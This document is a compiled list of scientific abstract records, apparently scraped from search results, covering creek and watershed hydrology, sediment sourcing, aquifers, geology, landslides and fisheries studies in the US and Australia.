We compare estimates of the spatial distribution of water quantity provided (annual water yield) from two ecohydrologic models: the widely-used Soil and Water Assessment Tool (SWAT) and the much simpler water models from the Integrated Valuation of Ecosystem Services and Tradeoffs (InVEST) toolbox. These two models differ significantly in terms of complexity, timescale of operation, effort, and data required for calibration, and so are often used in different management contexts. We compare two study sites in the US: the Wildcat Creek Watershed (2083 km2) in Indiana, a largely agricultural watershed in a cold aseasonal climate, and the Upper Upatoi Creek Watershed (876 km2) in Georgia, a mostly forested watershed in a temperate aseasonal climate. We evaluate (1) quantitative estimates of water yield to explore how well each model represents this process, and (2) ranked estimates of water yield to indicate how useful the models are for management purposes where other social and financial factors may play significant roles. The SWAT and InVEST models provide very similar estimates of the water yield of individual subbasins in the Wildcat Creek Watershed (Pearson r = 0.92, slope = 0.89), and a similar ranking of the relative water yield of those subbasins (Spearman r = 0.86). However, the two models provide relatively different estimates of the water yield of individual subbasins in the Upper Upatoi Watershed (Pearson r = 0.25, slope = 0.14), and very different ranking of the relative water yield of those subbasins (Spearman r = -0.10). The Upper Upatoi watershed has a significant baseflow contribution due to its sandy, well-drained soils. InVEST's simple seasonality terms, which assume no change in storage over the time of the model run, may not accurately estimate water yield processes when baseflow provides such a strong contribution. Our results suggest that InVEST users take care in situations where storage changes are significant.

Suspended sediments from upstream tributaries as the source of downstream river sites

NASA Astrophysics Data System (ADS)

Haddadchi, Arman; Olley, Jon

2014-05-01

Understanding the efficiency with which sediment eroded from different sources is transported to the catchment outlet is a key knowledge gap that is critical to our ability to accurately target and prioritise management actions to reduce sediment delivery. Sediment fingerprinting has proven to be an efficient approach to determine the sources of sediment. This study examines the suspended sediment sources from Emu Creek catchment, south eastern Queensland, Australia. In addition to collect suspended sediments from different sites of the streams after the confluence of tributaries and outlet of the catchment, time integrated suspended samples from upper tributaries were used as the source of sediment, instead of using hillslope and channel bank samples. Totally, 35 time-integrated samplers were used to compute the contribution of suspended sediments from different upstream waterways to the downstream sediment sites. Three size fractions of materials including fine sand (63-210 μm), silt (10-63 μm) and fine silt and clay (<10 μm) were used to find the effect of particle size on the contribution of upper sediments as the sources of sediment after river confluences. And then samples were analysed by ICP-MS and -OES to find 41 sediment fingerprints. According to the results of Student's T-distribution mixing model, small creeks in the middle and lower part of the catchment were major source in different size fractions, especially in silt (10-63 μm) samples. Gowrie Creek as covers southern-upstream part of the catchment was a major contributor at the outlet of the catchment in finest size fraction (<10 μm) Large differences between the contributions of suspended sediments from upper tributaries in different size fractions necessitate the selection of appropriate size fraction on sediment tracing in the catchment and also major effect of particle size on the movement and deposition of sediments.

Semi-quantitative evaluation of fecal contamination potential by human and ruminant sources using multiple lines of evidence.

PubMed

Stoeckel, Donald M; Stelzer, Erin A; Stogner, Robert W; Mau, David P

2011-05-01

Protocols for microbial source tracking of fecal contamination generally are able to identify when a source of contamination is present, but thus far have been unable to evaluate what portion of fecal-indicator bacteria (FIB) came from various sources. A mathematical approach to estimate relative amounts of FIB, such as Escherichia coli, from various sources based on the concentration and distribution of microbial source tracking markers in feces was developed. The approach was tested using dilute fecal suspensions, then applied as part of an analytical suite to a contaminated headwater stream in the Rocky Mountains (Upper Fountain Creek, Colorado). In one single-source fecal suspension, a source that was not present could not be excluded because of incomplete marker specificity; however, human and ruminant sources were detected whenever they were present. In the mixed-feces suspension (pet and human), the minority contributor (human) was detected at a concentration low enough to preclude human contamination as the dominant source of E. coli to the sample. Without the semi-quantitative approach described, simple detects of human-associated marker in stream samples would have provided inaccurate evidence that human contamination was a major source of E. coli to the stream. In samples from Upper Fountain Creek the pattern of E. coli, general and host-associated microbial source tracking markers, nutrients, and wastewater-associated chemical detections--augmented with local observations and land-use patterns--indicated that, contrary to expectations, birds rather than humans or ruminants were the predominant source of fecal contamination to Upper Fountain Creek. This new approach to E. coli allocation, validated by a controlled study and tested by application in a relatively simple setting, represents a widely applicable step forward in the field of microbial source tracking of fecal contamination. Copyright © 2011 Elsevier Ltd. All rights reserved.

Geology of the Deep Creek area, Washington, and its regional significance

USGS Publications Warehouse

Yates, Robert Giertz

1976-01-01

This report, although primarily concerned with the stratigraphy and structure of a lead-zinc mining district in northern Stevens County, Washington, discusses and integrates the geology of the region about the Deep Creek area. Although the study centers in an area of about 200 square miles immediately south of the International Boundary, the regional background comes from: (1)the previously undescribed Northport quadrangle to the west, (2) published reports and reconnaissance of the Metaline quadrangle to the east, and (3) from published reports and maps of a 16 mile wide area that lies to the north adjacent to these three quadrangles in British Columbia. The report is divided into three parts: (1) descriptions of rocks and structures of the Deep Creek area, (2) descriptions of the regional setting of the Deep Creek area, and (3) an analysis and interpretation of the depositional and tectonic events that produced the geologic features exposed today. In the Deep Creek area surficial deposits of sand and gravel of glacial origin cover much of the consolidated rocks, which range in age from greenschist of the late Precambrlan to albite granite of the Eocene. Three broad divisions of depositional history are represented: (1) Precambrian, (2) lower Paleozoic and (3) upper Paleozoic; the record of the Mesozoic and Eocene is fragmentary. The lower Paleozoic division is the only fossil-controlled sequence; the age of the other two divisions were established by less direct methods. Both Precambrian and upper Paleozoic sequences are dominated by fine-grained detrital sediments, the Precambrian tending towards the alumina-rich and the upper Paleozoic tending towards the black shale facies with high silica. Neither sequence has more than trivial amounts of coarse clastics. Both include limestones, but in minor abundance. The lower Paleozoic sequence, on the other hand, represents a progressive change in deposition. The sequence began during the very late Precambrian with the deposition of clean quartz sand. This was followed by the accumulation of a comparatively thin limestone unit succeeded by a thick shale. The shale grades into a thick carbonate unit which in turn is overlain by black graptolitic slates (Ordovician). This general order of deposition holds for the Cambro-Ordovician throughout the area. Precambrian rocks indigenous to the Deep Creek area, have undergone at least six tectonic events of greatly different intensities. The first three of these events are epeirogentic, the fourth involves intense folding, the fifth, crossfolding, and the sixth, block faulting without folding. These events are dated with varying degrees of precision. The two epeirogentic events of the Precambrian, one gentle folding at the beginning of Windermere time and the other high angle faulting and volcanism in mid-Windermere time, did little to deform or metamorphose the rocks. The third event consists of uplift of northern Idaho and adjacent Montana and westward decollement thrusting of essentially unfolded lower Paleozoic rocks. The decollement faulting is inferred to explain anomalous rock distribution and cannot be accurately dated. It occurred sometime after the Devonian and before the Jurassic. A late Paleozoic age is favored.

Rapid geomorphic change caused by glacial outburst floods and debris flows along Tahoma Creek, Mount Rainier, Washington, USA

USGS Publications Warehouse

Walder, J.S.; Driedger, C.L.

1994-01-01

As part of a hazards-assessment study, we examined the nature and rate of geomorphic change caused by outburst floods and debris flows along Tahoma Creek. Mount Rainier, since 1967. Archival aerial photographs of the area proved to be a rich source of qualitative geomorphic information. On the basis of limited direct evidence and considerations of stream hydrology, we conclude that nearly all of these debris flows began as outburst floods from South Tahoma Glacier. The water floods transformed to debris flows by incorporating large masses of sediment in a 2-km-long channel reach where the stream has incised proglacial sediments and debris-rich, stagnant glacier ice. Comparison of topographic maps for 1970 and 1991 shows that the average sediment flux out of the incised reach has been about 2 to 4 × 105 m3 a-1 corresponding to an average denudation rate in the upper part of the Tahoma Creek drainage basin of about 20 to 40 mm a-1, a value exceeded only rarely in basins affected by debris flows. However, little of this sediment has yet passed out of the Tahoma Creek basin. Comparison of geomorphic change at Tahoma Creek to that in two other alpine basins affected by outburst floods suggests that debris-rich stagnant ice can be an important source of sediment for debris flows as long as floods are frequent or channel slope is great.

The effects of crab bioturbation on Mid-Atlantic saltmarsh tidal creek extension: Geotechnical and geochemical changes

NASA Astrophysics Data System (ADS)

Wilson, C. A.; Hughes, Z. J.; FitzGerald, D. M.

2012-06-01

Understanding saltmarsh response to sea-level rise is critical for management and mitigation of these valuable coastal areas. However, comprehensive field studies of sea-level driven changes to the marsh landscape that consider combined biological, geological, and hydrodynamic interactions are rare. This study analyzes ecophysical feedbacks from crab colonization and bioturbation on geotechnical and geochemical properties of the soil in a Mid-Atlantic Spartina alterniflora saltmarsh. The study area is within a marsh that is experiencing creek extension due to accelerated sea-level rise and increasing periods of marsh inundation. Measurements of redox potential, pH, belowground biomass, and soil strength reveal that intense crab bioturbation by Sesarma reticulatum significantly changes the biogeochemical properties of the soil. Oxidized conditions in the upper 10-15 cm of the marsh induced by burrowing causes enhanced degradation of S. alterniflora belowground biomass (roots and rhizomes, reduction from 1.9 ± 0.6 kg/m2 to 1.1 ± 0.4 kg/m2), which reduces the structural integrity of the soil. This process ultimately increases the erosion potential of the sediment in creek head areas (documented by a reduction in shear strength from 10 ± 7 kPa to 2 ± 1 kPa), facilitating creek extension in order to accommodate tidal flows. The pervasiveness of similar tidal creek morphology in southeast Atlantic saltmarshes suggests this process is occurring in other marshes with a moderate tidal range undergoing sea-level rise.

Hydrogeology and Ground-Water Quality of Brunswick County, North Carolina

USGS Publications Warehouse

Harden, Stephen L.; Fine, Jason M.; Spruill, Timothy B.

2003-01-01

Brunswick County is the southernmost coastal county in North Carolina and lies in the southeastern part of the Coastal Plain physiographic province. In this report, geologic, hydrologic, and chemical data were used to investigate and delineate the hydrogeologic framework and ground-water quality of Brunswick County. The major aquifers and their associated confining units delineated in the Brunswick County study area include, from youngest to oldest, the surficial, Castle Hayne, Peedee, Black Creek, upper Cape Fear, and lower Cape Fear aquifers.All of these aquifers, with the exception of the Castle Hayne aquifer, are located throughout Brunswick County. The Castle Hayne aquifer extends across only the southeastern part of the county. Based on available data, the Castle Hayne and Peedee confining units are missing in some areas of Brunswick County, which allows direct hydraulic contact between the surficial aquifer and underlying Castle Hayne or Peedee aquifers. The confining units for the Black Creek, upper Cape Fear, and lower Cape Fear aquifers appear to be continuous throughout Brunswick County.In examining the conceptual hydrologic system for Brunswick County, a generalized water budget was developed to better understand the natural processes, including precipitation, evapotranspiration, and stream runoff, that influence ground-water recharge to the shallow aquifer system in the county. In the generalized water budget, an estimated 11 inches per year of the average annual precipitation of 55 inches per year in Brunswick County is estimated to infiltrate and recharge the shallow aquifer system. Of the 11 inches per year that recharges the shallow system, about 1 inch per year is estimated to recharge the deeper aquifer system.The surficial aquifer in Brunswick County is an important source of water for domestic supply and irrigation. The Castle Hayne aquifer is the most productive aquifer and serves as the principal ground-water source of municipal supply for the county. The upper part of the Peedee aquifer is an important source of ground-water supply for domestic and commercial use. Ground water in the lower part of the Peedee aquifer and the underlying aquifers is brackish and is not known to be used as a source of supply in Brunswick County. Most of the precipitation that recharges the surficial aquifer is discharged to local streams that drain into the Waccamaw River, Cape Fear River, and Atlantic Ocean. Recharge to the Castle Hayne aquifer occurs primarily from the surficial aquifer. Recharge to the Peedee aquifer occurs primarily from the surficial and Castle Hayne aquifers, with some upward leakage of water also occurring from the underlying Black Creek aquifer. Discharge from the Castle Hayne and Peedee aquifers occurs to local streams, the Cape Fear River, and the Atlantic Ocean.Evaluation of water-level data for the period January 1970 through May 2002 indicated no apparent long-term temporal trends in water levels in the surficial and Castle Hayne aquifers and in the upper part of the Peedee aquifer. The most significant water-level trends were noted for wells tapping the lower part of the Peedee aquifer and tapping the Black Creek aquifer where water levels have declined as much as 41 and 37 feet, respectively. These ground-water-level declines are attributed to regional ground-water pumping in areas outside of Brunswick County. Water-level data for Brunswick County wells tapping the upper Cape Fear and lower Cape Fear aquifers tend to fluctuate within a fairly uniform range with no apparent temporal trend noted. Analysis of vertical hydraulic gradients during this same period primarily indicate downward flow of ground water within and among the surficial, Castle Hayne, and Peedee aquifers. The vertical flow of ground water in the Black Creek aquifer is upward into the overlying Peedee aquifer. Upward flow also is noted for the upper and lower Cape Fear aquifers.Historic and recent analytic data were evaluated to better understand the sources of water contained in Brunswick County aquifers and the suitability of the water for consumption. Based on analytical results obtained for recent samples collected during this study, ground water from the surficial aquifer, Castle Hayne aquifer, and upper part of the Peedee aquifer appears to be generally suitable for drinking water. Although concentrations of iron and manganese commonly exceeded the drinking-water standards, the concern generally associated with the occurrence of these analytes in a water supply is one of aesthetics. In all samples, nitrate, nitrite, and sulfate were detected at concentrations less than drinkingwater standards.Based on historic analytical data, the brackish water in the lower part of the Peedee aquifer and in the Black Creek, upper Cape Fear, and lower Cape Fear aquifers is classified as a sodium-chloride type water. The presence of brackish water in these deeper systems combined with upward vertical gradients presents the potential for upward migration of brackish water into overlying aquifers, or upconing beneath areas of pumping. The current (2001) location of the boundary between freshwater and brackish water in Brunswick County aquifers is unknown.

Reservoir heterogeneity in Carter Sandstone, North Blowhorn Creek oil unit and vicinity, Black Warrior Basin, Alabama

DOE Office of Scientific and Technical Information (OSTI.GOV)

Kugler, R.L.; Pashin, J.C.

1992-05-01

This report presents accomplishments made in completing Task 3 of this project which involves development of criteria for recognizing reservoir heterogeneity in the Black Warrior basin. The report focuses on characterization of the Upper Mississippian Carter sandstone reservoir in North Blowhorn Creek and adjacent oil units in Lamar County, Alabama. This oil unit has produced more than 60 percent of total oil extracted from the Black Warrior basin of Alabama. The Carter sandstone in North Blowhorn Creek oil unit is typical of the most productive Carter oil reservoirs in the Black Warrior basin of Alabama. The first part of themore » report synthesizes data derived from geophysical well logs and cores from North Blowhorn Creek oil unit to develop a depositional model for the Carter sandstone reservoir. The second part of the report describes the detrital and diagenetic character of Carter sandstone utilizing data from petrographic and scanning electron microscopes and the electron microprobe. The third part synthesizes porosity and pore-throat-size-distribution data determined by high-pressure mercury porosimetry and commercial core analyses with results of the sedimentologic and petrographic studies. The final section of the report discusses reservoir heterogeneity within the context of the five-fold classification of Moore and Kugler (1990).« less

Integration of vertical and in-seam horizontal well production analyses with stochastic geostatistical algorithms to estimate pre-mining methane drainage efficiency from coal seams: Blue Creek seam, Alabama

PubMed Central

Karacan, C. Özgen

2015-01-01

Coal seam degasification and its efficiency are directly related to the safety of coal mining. Degasification activities in the Black Warrior basin started in the early 1980s by using vertical boreholes. Although the Blue Creek seam, which is part of the Mary Lee coal group, has been the main seam of interest for coal mining, vertical wellbores have also been completed in the Pratt, Mary Lee, and Black Creek coal groups of the Upper Pottsville formation to degasify multiple seams. Currently, the Blue Creek seam is further degasified 2–3 years in advance of mining using in-seam horizontal boreholes to ensure safe mining. The studied location in this work is located between Tuscaloosa and Jefferson counties in Alabama and was degasified using 81 vertical boreholes, some of which are still active. When the current long mine expanded its operation into this area in 2009, horizontal boreholes were also drilled in advance of mining for further degasification of only the Blue Creek seam to ensure a safe and a productive operation. This paper presents an integrated study and a methodology to combine history matching results from vertical boreholes with production modeling of horizontal boreholes using geostatistical simulation to evaluate spatial effectiveness of in-seam boreholes in reducing gas-in-place (GIP). Results in this study showed that in-seam wells' boreholes had an estimated effective drainage area of 2050 acres with cumulative production of 604 MMscf methane during ~2 years of operation. With horizontal borehole production, GIP in the Blue Creek seam decreased from an average of 1.52 MMscf to 1.23 MMscf per acre. It was also shown that effective gas flow capacity, which was independently modeled using vertical borehole data, affected horizontal borehole production. GIP and effective gas flow capacity of coal seam gas were also used to predict remaining gas potential for the Blue Creek seam. PMID:26435557

Integration of vertical and in-seam horizontal well production analyses with stochastic geostatistical algorithms to estimate pre-mining methane drainage efficiency from coal seams: Blue Creek seam, Alabama.

PubMed

Karacan, C Özgen

2013-07-30

Coal seam degasification and its efficiency are directly related to the safety of coal mining. Degasification activities in the Black Warrior basin started in the early 1980s by using vertical boreholes. Although the Blue Creek seam, which is part of the Mary Lee coal group, has been the main seam of interest for coal mining, vertical wellbores have also been completed in the Pratt, Mary Lee, and Black Creek coal groups of the Upper Pottsville formation to degasify multiple seams. Currently, the Blue Creek seam is further degasified 2-3 years in advance of mining using in-seam horizontal boreholes to ensure safe mining. The studied location in this work is located between Tuscaloosa and Jefferson counties in Alabama and was degasified using 81 vertical boreholes, some of which are still active. When the current long mine expanded its operation into this area in 2009, horizontal boreholes were also drilled in advance of mining for further degasification of only the Blue Creek seam to ensure a safe and a productive operation. This paper presents an integrated study and a methodology to combine history matching results from vertical boreholes with production modeling of horizontal boreholes using geostatistical simulation to evaluate spatial effectiveness of in-seam boreholes in reducing gas-in-place (GIP). Results in this study showed that in-seam wells' boreholes had an estimated effective drainage area of 2050 acres with cumulative production of 604 MMscf methane during ~2 years of operation. With horizontal borehole production, GIP in the Blue Creek seam decreased from an average of 1.52 MMscf to 1.23 MMscf per acre. It was also shown that effective gas flow capacity, which was independently modeled using vertical borehole data, affected horizontal borehole production. GIP and effective gas flow capacity of coal seam gas were also used to predict remaining gas potential for the Blue Creek seam.

Geologic characteristics and movement of the Meadow Creek landslide, part of the Coal Hill landslide complex, western Kane County, Utah

USGS Publications Warehouse

Ashland, Francis X.; McDonald, Greg N.; Carney, Stephanie M.; Tabet, David E.; Johnson, Cari L.

2010-01-01

The Meadow Creek landslide, part of the Coal Hill landslide complex in western Kane County, Utah, is about 1.7 miles (2.7 km) wide and 1.3 miles (2.1 km) long and contains six smaller historical slides. The upper part of the Meadow Creek landslide is gently sloping and consists of displaced and back-rotated blocks of Cretaceous Dakota and Cedar Mountain Formations that form northeast- to locally east-trending ridges that are separated by sediment-filled half-grabens. The lower part of the landslide is gently to moderately sloping, locally incised, and consists of heterogeneous debris that overrides the Jurassic Carmel Formation near Meadow Creek. Monitoring using a survey-grade Global Positioning System (GPS) instrument detected movement of the southern part of the Meadow Creek landslide between October 2005 and October 2008, including movement of two of the historical slides-landslides 1 and 2. The most movement during the measurement period occurred within the limits of persistently moving landslide 1 and ranged from about 24 to 64 inches (61-163 cm). Movement of the abutting southern part of the Meadow Creek landslide ranged from approximately 6 to 10 inches (15-25 cm). State Route 9 crosses over approximately a mile (1.6 km) of the southern part of the Meadow Creek landslide, including landslide 1. The highway and its predecessor (State Route 15) have been periodically displaced and damaged by persistent movement of landslide 1. Most of the landslide characteristics, particularly its size, probable depth, and the inferred weak strength and low permeability of clay-rich gouge derived from the Dakota and Cedar Mountain Formations, are adverse to and pose significant challenges to landslide stabilization. Secondary hazards include piping-induced sinkholes along scarps and ground cracks, and debris flows and rock falls from the main-scarp escarpment.

76 FR 10522 - Naval Surface Warfare Center, Upper Machodoc Creek and the Potomac River, Dahlgren, VA; Danger Zone

Federal Register 2010, 2011, 2012, 2013, 2014

2011-02-25

... small caliber guns and projectiles, aerial bombing, directed energy technology, and manned or unmanned... at 202- 761-4922 or by e-mail at [email protected] , or Mr. Robert Berg, Corps of Engineers, Norfolk District, Regulatory Branch, at 757- 201-7793 or by e-mail at [email protected

Bassett Creek Watershed, Hennepin County, Minnesota. Feasibility Report for Flood Control.

DTIC Science & Technology

1976-03-01

acuat ion of oc residence in the upper wnter- hl~t., ail .- [it iliii.lnC (f e loial f lood plain ordtinances moidif i(d to rc.l et ,,rnpo.-,,1 ,,,ni i...groups such as insects , earthworms, clams and snails. ’HISTORICAL AND ARCHAEOLOGICAL RESOURCES Coordination with state and county historical

Campsite impacts in four wildernesses in the south-central United States

Treesearch

Douglas McEwen; David N. Cole; Mark Simon

1996-01-01

Campsite impacts were studied in four wildernesses in the South-Central United States - Caney Creek, AR, Upper Buffalo, AR, Hercules Glades, MO, and Garden of the Gods, IL. Compared with wildernesses in other regions, campsite densities in these wildernesses are low to moderate, while impact intensities on individual campsites are low. Implications for monitoring...

Runoff and sediment yield from proxy records: Upper Animas Creek Basin, New Mexico

Treesearch

W. R. Osterkamp

1999-01-01

Analyses of water- and sediment-yield records from the Walnut Gulch Experimental Watershed, the San Simon Wash Basin, and the Jornada Experimental Range, combined with observations of regional variations in climate, geology and soils, vegetation, topography, fire frequency, and land-use history, allow estimates of present conditions of water and sediment discharges in...

6. Aerial view northwest, State Route 100 bottom left and ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

6. Aerial view northwest, State Route 100 bottom left and center, Winterthur Train Station center left, Winterthur Farms dairy barns upper center , duck pond and reservoir center, State Route 92 center right, and Brandywine Creek State Park bottom right. - Winterthur Farms, Intersection State Routes 92 & 100, Intersection State Routes 92 & 100, Winterthur, New Castle County, DE

Forest Species Diversity in Upper Elevation Hardwood Forests in the Southern Appalachian Mountains

Treesearch

Katherine J. Elliott; Deidre Hewitt

1997-01-01

Overstory, shrub-layer, and herb-layer flora composition and abundance patterns in eleven forest sites were studied to evaluate species diversity and richness before implementing three types of harvest treat- ments. The sites were within the Wine Spring Creek Watershed and were classified as high elevation, dry, Quercus rubra-Rhododendron calendulaceum based on...

Hydrogeologic framework of the North Fork and surrounding areas, Long Island, New York

USGS Publications Warehouse

Schubert, Christopher E.; Bova, Richard G.; Misut, Paul E.

2004-01-01

Ground water on the North Fork of Long Island is the sole source of drinking water, but the supply is vulnerable to saltwater intrusion and upconing in response to heavy pumping. Information on the area's hydrogeologic framework is needed to analyze the effects of pumping and drought on ground-water levels and the position of the freshwater-saltwater interface. This will enable water-resource managers and water-supply purveyors to evaluate a wide range of water-supply scenarios to safely meet water-use demands. The extent and thickness of hydrogeologic units and position of the freshwater-saltwater interface were interpreted from previous work and from exploratory drilling during this study.The fresh ground-water reservoir on the North Fork consists of four principal freshwater flow systems (referred to as Long Island mainland, Cutchogue, Greenport, and Orient) within a sequence of unconsolidated Pleistocene and Late Cretaceous deposits. A thick glacial-lake-clay unit appears to truncate underlying deposits in three buried valleys beneath the northern shore of the North Fork. Similar glacial-lake deposits beneath eastern and east-central Long Island Sound previously were inferred to be younger than the surficial glacial deposits exposed along the northern shore of Long Island. Close similarities in thickness and upper-surface altitude between the glacial-lake-clay unit on the North Fork and the glacial-lake deposits in Long Island Sound indicate, however, that the two are correlated at least along the North Fork shore.The Matawan Group and Magothy Formation, undifferentiated, is the uppermost Cretaceous unit on the North Fork and constitutes the Magothy aquifer. The upper surface of this unit contains a series of prominent erosional features that can be traced beneath Long Island Sound and the North Fork. Northwest-trending buried ridges extend several miles offshore from areas southeast of Rocky Point and Horton Point. A promontory in the irregular, north-facing cuesta slope extends offshore from an area southwest of Mattituck Creek and James Creek. Buried valleys that trend generally southeastward beneath Long Island Sound extend onshore northeast of Hashamomuck Pond and east of Goldsmith Inlet.An undifferentiated Pleistocene confining layer, the lower confining unit, consists of apparently contiguous units of glacial-lake, marine, and nonmarine clay. This unit is more than 200 feet thick in buried valleys filled with glacial-lake clay along the northern shore, but elsewhere on the North Fork, it is generally less than 50 feet thick and presumably represents an erosional remnant of marine clay. Its upper surface is generally 75 feet or more below sea level where it overlies buried valleys, and is generally 100 feet or less below sea level in areas where marine clay has been identified.A younger unit of glacial-lake deposits, the upper confining unit, is a local confining layer and underlies a sequence of late Pleistocene moraine and outwash deposits. This unit is thickest (more than 45 feet thick) beneath two lowland areas--near Mattituck Creek and James Creek, and near Hashamomuck Pond--but pinches out close to the northern and southern shores and is locally absent in inland areas of the North Fork. Its upper-surface altitude generally rises to near sea level toward the southern shore.Freshwater in the Orient flow system is limited to the upper glacial aquifer above the top of the lower confining unit. The upper confining unit substantially impedes the downward flow of freshwater in inland parts of the Greenport flow system. Deep freshwater within the lower confining unit in the east-central part of the Cutchogue flow system probably is residual from an interval of lower sea level. The upper confining unit is absent or only a few feet thick in the west-central part of the Cutchogue flow system and does not substantially impede the downward flow of freshwater, but the lower confining unit probably impedes the downward flow of freshwater within a southeast-trending buried valley in this area.

Santa Clara Valley water district multi-aquifer monitoring-well site, Coyote Creek Outdoor Classroom, San Jose, California

USGS Publications Warehouse

Hanson, R.T.; Newhouse, M.W.; Wentworth, C.M.; Williams, C.F.; Noce, T.E.; Bennett, M.J.

2002-01-01

The U.S. Geological Survey (USGS), in cooperation with the Santa Clara Valley Water District (SCVWD), has completed the first of several multiple-aquifer monitoring-well sites in the Santa Clara Valley. This site monitors ground-water levels and chemistry in the one of the major historic subsidence regions south of San Jose, California, at the Coyote Creek Outdoor Classroom (CCOC) (fig. 1) and provides additional basic information about the geology, hydrology, geochemistry, and subsidence potential of the upper- and lower-aquifer systems that is a major source of public water supply in the Santa Clara Valley. The site also serves as a science education exhibit at the outdoor classroom operated by SCVWD.

Groundwater and surface-water interaction and potential for underground water storage in the Buena Vista-Salida Basin, Chaffee County, Colorado, 2011

USGS Publications Warehouse

Watts, Kenneth R.; Ivahnenko, Tamara I.; Stogner, Sr., Robert W.; Bruce, James F.

2014-01-01

By 2030, the population of the Arkansas Headwaters Region, which includes all of Chaffee and Lake Counties and parts of Custer, Fremont, and Park Counties, Colorado, is forecast to increase about 73 percent. As the region’s population increases, it is anticipated that groundwater will be used to meet much of the increased demand. In September 2009, the U.S. Geological Survey, in cooperation with the Upper Arkansas Water Conservancy District and with support from the Colorado Water Conservation Board; Chaffee, Custer, and Fremont Counties; Buena Vista, Cañon City, Poncha Springs, and Salida; and Round Mountain Water and Sanitation District, began a 3-year study of groundwater and surface-water conditions in the Buena Vista-Salida Basin. This report presents results from the study of the Buena Vista-Salida Basin including synoptic gain-loss measurements and water budgets of Cottonwood, Chalk, and Browns Creeks, changes in groundwater storage, estimates of specific yield, transmissivity and hydraulic conductivity from aquifer tests and slug tests, an evaluation of areas with potential for underground water storage, and estimates of stream-accretion response-time factors for hypothetical recharge and selected streams in the basin. The four synoptic measurements of flow of Cottonwood, Chalk, and Browns Creeks, suggest quantifiable groundwater gains and losses in selected segments in all three perennial streams. The synoptic measurements of flow of Cottonwood and Browns Creeks suggest a seasonal variability, where positive later-irrigation season values in these creeks suggest groundwater discharge, possibly as infiltrated irrigation water. The overall sum of gains and losses on Chalk Creek does not indicate a seasonal variability but indicates a gaining stream in April and August/September. Gains and losses in the measured upper segments of Chalk Creek likely are affected by the Chalk Cliffs Rearing Unit (fish hatchery). Monthly water budgets were estimated for selected segments of five perennial streams (Cottonwood, North Cottonwood, Chalk, and Browns Creeks, and South Arkansas River) in the Buena Vista-Salida Basin for calendar year 2011. Differences between reported diversions and estimated crop irrigation requirements were used to estimate groundwater recharge in the areas irrigated by water supplied from the diversions. The amount of groundwater recharge in all the basins varied monthly; however, the greatest amount of recharge was during June and July for Cottonwood, North Cottonwood, and Chalk Creeks and South Arkansas River. The greatest amount of recharge in 2011 in Browns Creek occurred in July and August. The large seasonal fluctuations of groundwater near irrigated areas in the Buena Vista-Salida Basin indicate that the increased groundwater storage resulting from infiltration of surface-water diversions has dissipated by the following spring. Areas within the Buena Vista-Salida Basin with the potential for underground storage were identified using geographic information system data, including topographic, geologic, and hydrologic data, excluding the mountainous areas that border the Buena Vista-Salida Basin and igneous and metamorphic rock outcrop areas. The areas that met the selection criteria for underground water storage are located on terrace deposits near the Arkansas River and adjacent to its major tributaries. The selected areas also contain much of the irrigated land within the basin; consequently, irrigation ditches and canals could provide a means of conveying water to potential recharge sites.

Ground-water level data for North Carolina, 1987

USGS Publications Warehouse

Coble, Ronald W.; Strickland, A.G.; Bailey, M. Carl

1989-01-01

Continuous and periodic measurements in 54 key wells and water-level measurements emplaced in Coastal Plain aquifers across North Carolina in 193 supplemental wells are presented in this report. Hydrographs of selected wells show changes in ground-water storage in the State. The water table in the shallow aquifers was higher throughout most of the State in 1987 than in 1986, indicating that rain had recharged these aquifers sufficiently to replenish the deficit in ground water storage that accumulated in the western and central parts of the State during 1986. Water levels in the heavily pumped Coastal Plain aquifers show a general downward trend for the year, indicating ground water is being withdrawn from aquifer storage. Record low water levels were measured in 4 of 13 wells in the Castle Hayne aquifer; the greatest decline measured during 1987 was 0.3 ft. Water levels in wells in the Peedee, Black Creek, upper Cape Fear, and lower Cape Fear aquifers generally show downward trends. Record low water levels were measured in 4 of 8 wells in the Peedee aquifer; the maximum decline measured during 1987 was 1.5 ft. All wells in the Black Creek, upper Cape Fear, and lower Cape Fear aquifers had record low water levels for 1987, with maximum measured declines in 1987 of 8.6, 3.1, and 3.1 ft., respectively. Record high water levels were measured in two wells, one each in the Castle Hayne and Peedee aquifers. Potentiometric surface maps show the effects of major centers of pumping for the Castle Hayne, Black Creek, and lower Cape Fear aquifers of the Coastal Plain.

Lake Roosevelt Fisheries Evaluation Program : Lake Whatcom Kokanee Salmon (Oncorhynchus nerka kennerlyi) : Investigations in Lake Roosevelt Annual Report 1999-2000.

DOE Office of Scientific and Technical Information (OSTI.GOV)

McLellan, Holly J.; Scholz, Allan T.; McLellan, Jason G.

2001-07-01

Lake Whatcom stock kokanee have been planted in Lake Roosevelt since 1988 with the primary goal of establishing a self-sustaining fishery. Returns of hatchery kokanee to egg collection facilities and recruitment to the creel have been minimal. Therefore, four experiments were conducted to determine the most appropriate release strategy that would increase kokanee returns. The first experiment compared morpholine and non-morpholine imprinted kokanee return rates, the second experiment compared early and middle run Whatcom kokanee, the third experiment compared early and late release dates, and the fourth experiment compared three net pen release strategies: Sherman Creek hatchery vs. Sherman Creekmore » net pens, Colville River net pens vs. Sherman Creek net pens, and upper vs. lower reservoir net pen releases. Each experiment was tested in three ways: (1) returns to Sherman Creek, (2) returns to other tributaries throughout the reservoir, and (3) returns to the creel. Chi-square analysis of hatchery and tributary returns indicated no significant difference between morpholine imprinted and non-imprinted fish, early run fish outperformed middle run fish, early release date outperformed late release fish, and the hatchery outperformed all net pen releases. Hatchery kokanee harvest was estimated at 3,323 fish, which was 33% of the total harvest. Return rates (1998 = 0.52%) of Whatcom kokanee were low indicating an overall low performance that could be caused by high entrainment, predation, and precocity. A kokanee stock native to the upper Columbia, as opposed to the coastal Whatcom stock, may perform better in Lake Roosevelt.« less

Biological and associated water-quality data for lower Olmos Creek and upper San Antonio River, San Antonio, Texas, April - September 1989

USGS Publications Warehouse

Taylor, R. Lynn; Ferreira, Rodger F.

1995-01-01

